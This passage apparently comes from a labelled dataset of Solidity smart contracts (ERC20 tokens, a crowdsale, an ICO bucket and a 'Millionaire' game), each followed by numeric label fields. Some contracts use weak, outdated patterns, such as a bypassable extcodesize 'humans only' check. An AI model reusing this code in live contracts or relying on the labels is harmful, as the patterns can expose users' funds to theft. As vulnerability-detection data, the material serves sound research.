mapping (address => mapping (address => uint)) allowed;
function isToken() public constant returns (bool weAre) {
return true;
}
function transfer(address _to, uint _value) returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
uint _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract MintableTokenExt is StandardToken, Ownable {
using SafeMathLibExt for uint;
bool public mintingFinished = false;
mapping (address => bool) public mintAgents;
event MintingAgentChanged(address addr, bool state );
struct ReservedTokensData {
uint inTokens;
uint inPercentageUnit;
uint inPercentageDecimals;
bool isReserved;
bool isDistributed;
}
mapping (address => ReservedTokensData) public reservedTokensList;
address[] public reservedTokensDestinations;
uint public reservedTokensDestinationsLen = 0;
bool reservedTokensDestinationsAreSet = false;
modifier onlyMintAgent() {
if(!mintAgents[msg.sender]) {
throw;
}
_;
}
modifier canMint() {
if(mintingFinished) throw;
_;
}
function finalizeReservedAddress(address addr) public onlyMintAgent canMint {
ReservedTokensData storage reservedTokensData = reservedTokensList[addr];
reservedTokensData.isDistributed = true;
}
function isAddressReserved(address addr) public constant returns (bool isReserved) {
return reservedTokensList[addr].isReserved;
}
function areTokensDistributedForAddress(address addr) public constant returns (bool isDistributed) {
return reservedTokensList[addr].isDistributed;
}
function getReservedTokens(address addr) public constant returns (uint inTokens) {
return reservedTokensList[addr].inTokens;
}
function getReservedPercentageUnit(address addr) public constant returns (uint inPercentageUnit) {
return reservedTokensList[addr].inPercentageUnit;
}
function getReservedPercentageDecimals(address addr) public constant returns (uint inPercentageDecimals) {
return reservedTokensList[addr].inPercentageDecimals;
}
function setReservedTokensListMultiple(
address[] addrs,
uint[] inTokens,
uint[] inPercentageUnit,
uint[] inPercentageDecimals
) public canMint onlyOwner {
assert(!reservedTokensDestinationsAreSet);
assert(addrs.length == inTokens.length);
assert(inTokens.length == inPercentageUnit.length);
assert(inPercentageUnit.length == inPercentageDecimals.length);
for (uint iterator = 0; iterator < addrs.length; iterator++) {
if (addrs[iterator] != address(0)) {
setReservedTokensList(addrs[iterator], inTokens[iterator], inPercentageUnit[iterator], inPercentageDecimals[iterator]);
}
}
reservedTokensDestinationsAreSet = true;
}
function mint(address receiver, uint amount) onlyMintAgent canMint public {
totalSupply = totalSupply.plus(amount);
balances[receiver] = balances[receiver].plus(amount);
Transfer(0, receiver, amount);
}
function setMintAgent(address addr, bool state) onlyOwner canMint public {
mintAgents[addr] = state;
MintingAgentChanged(addr, state);
}
function setReservedTokensList(address addr, uint inTokens, uint inPercentageUnit, uint inPercentageDecimals) private canMint onlyOwner {
assert(addr != address(0));
if (!isAddressReserved(addr)) {
reservedTokensDestinations.push(addr);
reservedTokensDestinationsLen++;
}
reservedTokensList[addr] = ReservedTokensData({
inTokens: inTokens,
inPercentageUnit: inPercentageUnit,
inPercentageDecimals: inPercentageDecimals,
isReserved: true,
isDistributed: false
});
}
}
contract MintedTokenCappedCrowdsaleExt is CrowdsaleExt {
uint public maximumSellableTokens;
function MintedTokenCappedCrowdsaleExt(
string _name,
address _token,
PricingStrategy _pricingStrategy,
address _multisigWallet,
uint _start, uint _end,
uint _minimumFundingGoal,
uint _maximumSellableTokens,
bool _isUpdatable,
bool _isWhiteListed
) CrowdsaleExt(_name, _token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal, _isUpdatable, _isWhiteListed) {
maximumSellableTokens = _maximumSellableTokens;
}
event MaximumSellableTokensChanged(uint newMaximumSellableTokens);
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) public constant returns (bool limitBroken) {
return tokensSoldTotal > maximumSellableTokens;
}
function isBreakingInvestorCap(address addr, uint tokenAmount) public constant returns (bool limitBroken) {
assert(isWhiteListed);
uint maxCap = earlyParticipantWhitelist[addr].maxCap;
return (tokenAmountOf[addr].plus(tokenAmount)) > maxCap;
}
function isCrowdsaleFull() public constant returns (bool) {
return tokensSold >= maximumSellableTokens;
}
function setMaximumSellableTokens(uint tokens) public onlyOwner {
assert(!finalized);
assert(isUpdatable);
assert(now <= startsAt);
CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier());
assert(!lastTierCntrct.finalized());
maximumSellableTokens = tokens;
MaximumSellableTokensChanged(maximumSellableTokens);
}
function updateRate(uint newOneTokenInWei) public onlyOwner {
assert(!finalized);
assert(isUpdatable);
assert(now <= startsAt);
CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier());
assert(!lastTierCntrct.finalized());
pricingStrategy.updateRate(newOneTokenInWei);
}
function assignTokens(address receiver, uint tokenAmount) private {
MintableTokenExt mintableToken = MintableTokenExt(token);
mintableToken.mint(receiver, tokenAmount);
}
} | 0 | 155 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract RBACMixin {
string constant FORBIDDEN = "Haven't enough right to access";
mapping (address => bool) public owners;
mapping (address => bool) public minters;
event AddOwner(address indexed who);
event DeleteOwner(address indexed who);
event AddMinter(address indexed who);
event DeleteMinter(address indexed who);
constructor () public {
_setOwner(msg.sender, true);
}
modifier onlyOwner() {
require(isOwner(msg.sender), FORBIDDEN);
_;
}
modifier onlyMinter() {
require(isMinter(msg.sender), FORBIDDEN);
_;
}
function isOwner(address _who) public view returns (bool) {
return owners[_who];
}
function isMinter(address _who) public view returns (bool) {
return minters[_who];
}
function addOwner(address _who) public onlyOwner returns (bool) {
_setOwner(_who, true);
}
function deleteOwner(address _who) public onlyOwner returns (bool) {
_setOwner(_who, false);
}
function addMinter(address _who) public onlyOwner returns (bool) {
_setMinter(_who, true);
}
function deleteMinter(address _who) public onlyOwner returns (bool) {
_setMinter(_who, false);
}
function _setOwner(address _who, bool _flag) private returns (bool) {
require(owners[_who] != _flag);
owners[_who] = _flag;
if (_flag) {
emit AddOwner(_who);
} else {
emit DeleteOwner(_who);
}
return true;
}
function _setMinter(address _who, bool _flag) private returns (bool) {
require(minters[_who] != _flag);
minters[_who] = _flag;
if (_flag) {
emit AddMinter(_who);
} else {
emit DeleteMinter(_who);
}
return true;
}
}
interface IMintableToken {
function mint(address _to, uint256 _amount) external returns (bool);
}
contract ICOBucket is RBACMixin {
using SafeMath for uint;
uint256 public size;
uint256 public rate;
uint256 public lastMintTime;
uint256 public leftOnLastMint;
IMintableToken public token;
event Leak(address indexed to, uint256 left);
uint256 public tokenCost;
mapping(address => bool) public whiteList;
address public wallet;
uint256 public bonus;
uint256 public minimumTokensForPurchase;
modifier onlyWhiteList {
require(whiteList[msg.sender]);
_;
}
constructor (address _token, uint256 _size, uint256 _rate, uint256 _cost, address _wallet, uint256 _bonus, uint256 _minimum) public {
token = IMintableToken(_token);
size = _size;
rate = _rate;
leftOnLastMint = _size;
tokenCost = _cost;
wallet = _wallet;
bonus = _bonus;
minimumTokensForPurchase = _minimum;
}
function setSize(uint256 _size) public onlyOwner returns (bool) {
size = _size;
return true;
}
function setRate(uint256 _rate) public onlyOwner returns (bool) {
rate = _rate;
return true;
}
function setSizeAndRate(uint256 _size, uint256 _rate) public onlyOwner returns (bool) {
return setSize(_size) && setRate(_rate);
}
function availableTokens() public view returns (uint) {
uint256 timeAfterMint = now.sub(lastMintTime);
uint256 refillAmount = rate.mul(timeAfterMint).add(leftOnLastMint);
return size < refillAmount ? size : refillAmount;
}
function addToWhiteList(address _address) public onlyMinter {
whiteList[_address] = true;
}
function removeFromWhiteList(address _address) public onlyMinter {
whiteList[_address] = false;
}
function setWallet(address _wallet) public onlyOwner {
wallet = _wallet;
}
function setBonus(uint256 _bonus) public onlyOwner {
bonus = _bonus;
}
function setMinimumTokensForPurchase(uint256 _minimum) public onlyOwner {
minimumTokensForPurchase = _minimum;
}
function setTokenCost(uint256 _tokencost) public onlyOwner {
tokenCost = _tokencost;
}
function () public payable onlyWhiteList {
uint256 tokensAmount = tokensAmountForPurchase();
uint256 available = availableTokens();
uint256 minimum = minimumTokensForPurchase;
require(tokensAmount <= available);
require(tokensAmount >= minimum);
wallet.transfer(msg.value);
leftOnLastMint = available.sub(tokensAmount);
lastMintTime = now;
require(token.mint(msg.sender, tokensAmount));
}
function tokensAmountForPurchase() private constant returns(uint256) {
return msg.value.mul(10 ** 18)
.div(tokenCost)
.mul(100 + bonus)
.div(100);
}
} | 1 | 2,232 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "NIOX";
string public constant TOKEN_SYMBOL = "NIOX";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0xc900AD4141b51b104dB0F2Ec6fD5FAF611575Bee;
bool public constant CONTINUE_MINTING = true;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
constructor() public {
init();
transferOwnership(TARGET_USER);
}
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[1] memory addresses = [address(0xc900AD4141b51b104dB0F2Ec6fD5FAF611575Bee)];
uint[1] memory amounts = [uint(1000000000000000000000000000)];
uint64[1] memory freezes = [uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
} | 0 | 985 |
pragma solidity ^0.4.24;
interface MilAuthInterface {
function requiredSignatures() external view returns(uint256);
function requiredDevSignatures() external view returns(uint256);
function adminCount() external view returns(uint256);
function devCount() external view returns(uint256);
function adminName(address _who) external view returns(bytes32);
function isAdmin(address _who) external view returns(bool);
function isDev(address _who) external view returns(bool);
function checkGameRegiester(address _gameAddr) external view returns(bool);
function checkGameClosed(address _gameAddr) external view returns(bool);
}
interface MillionaireInterface {
function invest(address _addr, uint256 _affID, uint256 _mfCoin, uint256 _general) external payable;
function updateGenVaultAndMask(address _addr, uint256 _affID) external payable;
function clearGenVaultAndMask(address _addr, uint256 _affID, uint256 _eth, uint256 _milFee) external;
function assign(address _addr) external payable;
function splitPot() external payable;
}
interface MilFoldInterface {
function addPot() external payable;
function activate() external;
}
contract Milevents {
event onNewPlayer
(
address indexed playerAddress,
uint256 playerID,
uint256 timeStamp
);
event onEndTx
(
uint256 rid,
address indexed buyerAddress,
uint256 compressData,
uint256 eth,
uint256 totalPot,
uint256 tickets,
uint256 timeStamp
);
event onGameClose
(
address indexed gameAddr,
uint256 amount,
uint256 timeStamp
);
event onReward
(
address indexed rewardAddr,
Mildatasets.RewardType rewardType,
uint256 amount
);
event onWithdraw
(
address indexed playerAddress,
uint256 ethOut,
uint256 timeStamp
);
event onAffiliatePayout
(
address indexed affiliateAddress,
address indexed buyerAddress,
uint256 eth,
uint256 timeStamp
);
event onICO
(
address indexed buyerAddress,
uint256 buyAmount,
uint256 buyMf,
uint256 totalIco,
bool ended
);
event onPlayerWin(
address indexed addr,
uint256 roundID,
uint256 winAmount,
uint256 winNums
);
event onClaimWinner(
address indexed addr,
uint256 winnerNum,
uint256 totalNum
);
event onBuyMFCoins(
address indexed addr,
uint256 ethAmount,
uint256 mfAmount,
uint256 timeStamp
);
event onSellMFCoins(
address indexed addr,
uint256 ethAmount,
uint256 mfAmount,
uint256 timeStamp
);
event onUpdateGenVault(
address indexed addr,
uint256 mfAmount,
uint256 genAmount,
uint256 ethAmount
);
}
contract Millionaire is MillionaireInterface,Milevents {
using SafeMath for *;
using MFCoinsCalc for uint256;
string constant private name_ = "Millionaire Official";
uint256 constant private icoRndMax_ = 2 weeks;
uint256 private icoEndtime_;
uint256 private icoAmount_;
uint256 private sequence_;
bool private activated_;
bool private icoEnd_;
MilFoldInterface public milFold_;
MilAuthInterface constant private milAuth_ = MilAuthInterface(0xf856f6a413f7756FfaF423aa2101b37E2B3aFFD9);
uint256 public globalMask_;
uint256 public mfCoinPool_;
uint256 public totalSupply_;
address constant private fundAddr_ = 0xB0c7Dc00E8A74c9dEc8688EFb98CcB2e24584E3B;
uint256 constant private REGISTER_FEE = 0.01 ether;
uint256 constant private MAX_ICO_AMOUNT = 3000 ether;
mapping(address => uint256) private balance_;
mapping(uint256 => address) private plyrAddr_;
mapping(address => Mildatasets.Player) private plyr_;
modifier isActivated() {
require(activated_ == true, "its not ready start");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 0.1 ether, "must > 0.1 ether");
_;
}
modifier onlyDevs()
{
require(milAuth_.isDev(msg.sender) == true, "msg sender is not a dev");
_;
}
function()
public
isActivated()
isHuman()
isWithinLimits(msg.value)
payable
{
icoCore(msg.value);
}
function buyICO()
public
isActivated()
isHuman()
isWithinLimits(msg.value)
payable
{
icoCore(msg.value);
}
function icoCore(uint256 _eth) private {
if (icoEnd_) {
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(_eth);
} else {
if (block.timestamp > icoEndtime_ || icoAmount_ >= MAX_ICO_AMOUNT) {
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(_eth);
icoEnd_ = true;
milFold_.activate();
emit onICO(msg.sender, 0, 0, MAX_ICO_AMOUNT, icoEnd_);
} else {
uint256 ethAmount = _eth;
if (ethAmount + icoAmount_ > MAX_ICO_AMOUNT) {
ethAmount = MAX_ICO_AMOUNT.sub(icoAmount_);
plyr_[msg.sender].eth = _eth.sub(ethAmount);
}
icoAmount_ = icoAmount_.add(ethAmount);
uint256 converts = ethAmount.mul(65)/100;
uint256 pot = ethAmount.sub(converts);
uint256 buytMf = buyMFCoins(msg.sender, converts);
milFold_.addPot.value(pot)();
if (icoAmount_ >= MAX_ICO_AMOUNT) {
icoEnd_ = true;
milFold_.activate();
}
emit onICO(msg.sender, ethAmount, buytMf, icoAmount_, icoEnd_);
}
}
}
function withdraw()
public
isActivated()
isHuman()
{
updateGenVault(msg.sender);
if (plyr_[msg.sender].eth > 0) {
uint256 amount = plyr_[msg.sender].eth;
plyr_[msg.sender].eth = 0;
msg.sender.transfer(amount);
emit onWithdraw(
msg.sender,
amount,
block.timestamp
);
}
}
function registerAff()
public
isHuman()
payable
{
require (msg.value >= REGISTER_FEE, "register affiliate fees must >= 0.01 ether");
require (plyr_[msg.sender].playerID == 0, "you already register!");
plyrAddr_[++sequence_] = msg.sender;
plyr_[msg.sender].playerID = sequence_;
fundAddr_.transfer(msg.value);
emit onNewPlayer(msg.sender,sequence_, block.timestamp);
}
function setMilFold(address _milFoldAddr)
public
onlyDevs
{
require(address(milFold_) == 0, "milFold has been set");
require(_milFoldAddr != 0, "milFold is invalid");
milFold_ = MilFoldInterface(_milFoldAddr);
}
function activate()
public
onlyDevs
{
require(address(milFold_) != 0, "milFold has not been set");
require(activated_ == false, "ICO already activated");
activated_ = true;
icoEndtime_ = block.timestamp + icoRndMax_;
}
function invest(address _addr, uint256 _affID, uint256 _mfCoin, uint256 _general)
external
isActivated()
payable
{
require(milAuth_.checkGameRegiester(msg.sender), "game no register");
require(_mfCoin.add(_general) <= msg.value, "account is insufficient");
if (msg.value > 0) {
uint256 tmpAffID = 0;
if (_affID == 0 || plyrAddr_[_affID] == _addr) {
tmpAffID = plyr_[_addr].laff;
} else if (plyr_[_addr].laff == 0 && plyrAddr_[_affID] != address(0)) {
plyr_[_addr].laff = _affID;
tmpAffID = _affID;
}
uint256 _affiliate = msg.value.sub(_mfCoin).sub(_general);
if (tmpAffID > 0 && _affiliate > 0) {
address affAddr = plyrAddr_[tmpAffID];
plyr_[affAddr].affTotal = plyr_[affAddr].affTotal.add(_affiliate);
plyr_[affAddr].eth = plyr_[affAddr].eth.add(_affiliate);
emit onAffiliatePayout(affAddr, _addr, _affiliate, block.timestamp);
}
if (totalSupply_ > 0) {
uint256 delta = _general.mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
} else {
fundAddr_.transfer(_general);
}
updateGenVault(_addr);
buyMFCoins(_addr, _mfCoin);
emit onUpdateGenVault(_addr, balance_[_addr], plyr_[_addr].genTotal, plyr_[_addr].eth);
}
}
function calcUnMaskedEarnings(address _addr)
private
view
returns(uint256)
{
uint256 diffMask = globalMask_.sub(plyr_[_addr].mask);
if (diffMask > 0) {
return diffMask.mul(balance_[_addr]).div(1 ether);
}
}
function updateGenVaultAndMask(address _addr, uint256 _affID)
external
payable
{
require(msg.sender == address(milFold_), "no authrity");
if (msg.value > 0) {
uint256 converts = msg.value.mul(50).div(80);
uint256 tmpAffID = 0;
if (_affID == 0 || plyrAddr_[_affID] == _addr) {
tmpAffID = plyr_[_addr].laff;
} else if (plyr_[_addr].laff == 0 && plyrAddr_[_affID] != address(0)) {
plyr_[_addr].laff = _affID;
tmpAffID = _affID;
}
uint256 affAmount = 0;
if (tmpAffID > 0) {
affAmount = msg.value.mul(10).div(80);
address affAddr = plyrAddr_[tmpAffID];
plyr_[affAddr].affTotal = plyr_[affAddr].affTotal.add(affAmount);
plyr_[affAddr].eth = plyr_[affAddr].eth.add(affAmount);
emit onAffiliatePayout(affAddr, _addr, affAmount, block.timestamp);
}
if (totalSupply_ > 0) {
uint256 delta = msg.value.sub(converts).sub(affAmount).mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
} else {
fundAddr_.transfer(msg.value.sub(converts).sub(affAmount));
}
updateGenVault(_addr);
buyMFCoins(_addr, converts);
emit onUpdateGenVault(_addr, balance_[_addr], plyr_[_addr].genTotal, plyr_[_addr].eth);
}
}
function clearGenVaultAndMask(address _addr, uint256 _affID, uint256 _eth, uint256 _milFee)
external
{
require(msg.sender == address(milFold_), "no authrity");
uint256 _earnings = calcUnMaskedEarnings(_addr);
require(plyr_[_addr].eth.add(_earnings) >= _eth, "eth balance not enough");
uint256 converts = _milFee.mul(50).div(80);
uint256 tmpAffID = 0;
if (_affID == 0 || plyrAddr_[_affID] == _addr) {
tmpAffID = plyr_[_addr].laff;
} else if (plyr_[_addr].laff == 0 && plyrAddr_[_affID] != address(0)) {
plyr_[_addr].laff = _affID;
tmpAffID = _affID;
}
uint256 affAmount = 0;
if (tmpAffID > 0) {
affAmount = _milFee.mul(10).div(80);
address affAddr = plyrAddr_[tmpAffID];
plyr_[affAddr].affTotal = plyr_[affAddr].affTotal.add(affAmount);
plyr_[affAddr].eth = plyr_[affAddr].eth.add(affAmount);
emit onAffiliatePayout(affAddr, _addr, affAmount, block.timestamp);
}
if (totalSupply_ > 0) {
uint256 delta = _milFee.sub(converts).sub(affAmount).mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
} else {
fundAddr_.transfer(_milFee.sub(converts).sub(affAmount));
}
updateGenVault(_addr);
buyMFCoins(_addr,converts);
plyr_[_addr].eth = plyr_[_addr].eth.sub(_eth);
milFold_.addPot.value(_eth.sub(_milFee))();
emit onUpdateGenVault(_addr, balance_[_addr], plyr_[_addr].genTotal, plyr_[_addr].eth);
}
function updateGenVault(address _addr) private
{
uint256 _earnings = calcUnMaskedEarnings(_addr);
if (_earnings > 0) {
plyr_[_addr].mask = globalMask_;
plyr_[_addr].genTotal = plyr_[_addr].genTotal.add(_earnings);
plyr_[_addr].eth = plyr_[_addr].eth.add(_earnings);
} else if (globalMask_ > plyr_[_addr].mask) {
plyr_[_addr].mask = globalMask_;
}
}
function buyMFCoins(address _addr, uint256 _eth) private returns(uint256) {
uint256 _coins = calcCoinsReceived(_eth);
mfCoinPool_ = mfCoinPool_.add(_eth);
totalSupply_ = totalSupply_.add(_coins);
balance_[_addr] = balance_[_addr].add(_coins);
emit onBuyMFCoins(_addr, _eth, _coins, now);
return _coins;
}
function sellMFCoins(uint256 _coins) public {
require(icoEnd_, "ico phase not end");
require(balance_[msg.sender] >= _coins, "coins amount is out of range");
updateGenVault(msg.sender);
uint256 _eth = totalSupply_.ethRec(_coins);
mfCoinPool_ = mfCoinPool_.sub(_eth);
totalSupply_ = totalSupply_.sub(_coins);
balance_[msg.sender] = balance_[msg.sender].sub(_coins);
if (milAuth_.checkGameClosed(address(milFold_))) {
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(_eth);
} else {
uint256 earnAmount = _eth.mul(90).div(100);
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(earnAmount);
milFold_.addPot.value(_eth.sub(earnAmount))();
}
emit onSellMFCoins(msg.sender, earnAmount, _coins, now);
}
function assign(address _addr)
external
payable
{
require(msg.sender == address(milFold_), "no authrity");
plyr_[_addr].eth = plyr_[_addr].eth.add(msg.value);
}
function splitPot()
external
payable
{
